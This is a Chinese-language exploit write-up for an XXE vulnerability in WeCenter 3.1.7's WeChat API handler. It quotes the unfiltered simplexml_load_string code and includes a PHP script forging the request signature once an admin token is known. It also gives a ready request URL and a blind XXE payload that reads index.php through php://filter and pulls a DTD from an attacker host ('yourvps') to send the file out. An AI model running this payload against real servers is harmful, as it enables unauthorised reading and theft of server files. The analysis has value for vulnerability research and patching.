xxe漏洞危害大,可以查看任意文件,执行系统命令,进行ddos等,但是本次漏洞有一条件,需要后台登录,所以危害降低了,下面是详细分析
在models/weixin.php
public function fetch_message() { if ($this->post_data = file_get_contents('php://input')) { $post_object = (array)simplexml_load_string($this->post_data, 'SimpleXMLElement', LIBXML_NOCDATA); if ($_GET['encrypt_type'] == 'aes') { $post_object = $this->decrypt_msg($post_object['Encrypt']); } $input_message = array( 'fromUsername' => $post_object['FromUserName'], 'toUsername' => $post_object['ToUserName'], 'content' => trim($post_object['Content']), 'time' => time(), 'msgType' => $post_object['MsgType'], 'event' => $post_object['Event'], 'eventKey' => $post_object['EventKey'], 'mediaID' => $post_object['MediaId'], 'format' => $post_object['Format'], 'recognition' => $post_object['Recognition'], 'msgID' => $post_object['MsgID'], 'latitude' => $post_object['Latitude'], 'longitude' => $post_object['Longitude'], 'precision' => $post_object['Precision'], 'location_X' => $post_object['Location_X'], 'location_Y' => $post_object['Location_Y'], 'label' => $post_object['Label'], 'ticket' => $post_object['Ticket'], 'createTime' => $post_object['CreateTime'], 'status' => $post_object['Status'], 'filterCount' => $post_object['FilterCount'], 'picUrl' => $post_object['PicUrl'], 'encryption' => ($_GET['encrypt_type'] == 'aes') ? true : false ); $weixin_info = $this->model('openid_weixin_weixin')->get_user_info_by_openid($input_message['fromUsername']); if ($weixin_info) { $this->user_id = $weixin_info['uid']; } if (get_setting('weixin_account_role') == 'service') { $this->bind_message = '你的微信帐号没有绑定 ' . get_setting('site_name') . ' 的帐号, 请<a href="' . $this->model('openid_weixin_weixin')->get_oauth_url(get_js_url('/m/weixin/authorization/')) . '">点此绑定</a>'; } return $input_message; } } 没有过滤post数据,带入到了simplexml_load_string 然后查找哪里调用了这个函数fetch_message,在app/weixin/api.php调用了这函数 public function index_action() { if (!isset($_GET['id'])) { $_GET['id'] = 0; } $account_info = $this->model('weixin')->get_account_info_by_id($_GET['id']); $this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']); if (!$account_info OR !$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce'])) { exit(); } if ($_GET['echostr']) { exit(htmlspecialchars($_GET['echostr'])); } if ($account_info['weixin_account_role'] == 'base' OR !$account_info['weixin_app_id'] OR !$account_info['weixin_app_secret']) { $account_info['weixin_mp_menu'] = null; } $this->model('weixin')->account_info = $account_info; $input_message = $this->model('weixin')->fetch_message(); $this->model('weixin')->response_message($input_message); } }
然后这个地方
if (!$account_info OR !$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce'])) { exit(); }
如果$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']不成立就会退出去,无法执行$input_message = $this->model('weixin')->fetch_message();
跟进models/weixin.php
public function check_signature($mp_token, $signature, $timestamp, $nonce) { $tmp_signature = $this->generate_signature($mp_token, $timestamp, $nonce); if (!$tmp_signature OR $tmp_signature != $signature) { return false; } return true; } public function generate_signature($token, $timestamp, $nonce) { $token = trim($token); if (!$token OR !$timestamp OR !$nonce) { return false; } $tmp_arr = array( $token, $timestamp, $nonce ); sort($tmp_arr, SORT_STRING); return sha1(implode('', $tmp_arr)); }
我们可以控制$signature参数,而且通过generate_signature我们知道如何生成signature,但是这里
if (!$token OR !$timestamp OR !$nonce) { return false; }
$mp_token是不能控制的,而且不能为空,这样我们就得设置$mp_token了,这个得在后台设置
然后我们成功设置$mp_token为testtest,对照signature生成的方法,写个脚本生成我们可控的$signatarue
<?php $token = "testtest"; $timestamp = "a"; $nonce = "b"; $tmp_arr = array( $token, $timestamp, $nonce ); sort($tmp_arr, SORT_STRING); echo sha1(implode('', $tmp_arr));
生成$signature为ed86c0d850f575d4fbd3b2062f1662bed2fe4245,最后url的格式如下
http://localhost/WeCenter_3-1-7/UPLOAD/?/weixin/api/?signature=ed86c0d850f575d4fbd3b2062f1662bed2fe4245×tamp=a&nonce=b
然后由于这个xxe漏洞没有回显,但是blind xxe还是可以用的。 构造读取首页的payload
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> <!ENTITY % remote SYSTEM "http://yourvps/xxe/evil.dtd"> %remote; %all; ]> <c>&send;</c></code>其中evil.dtd内容如下
get.php内容如下
执行
vps下就生成了1.txt,里面内容是index.php的base64编码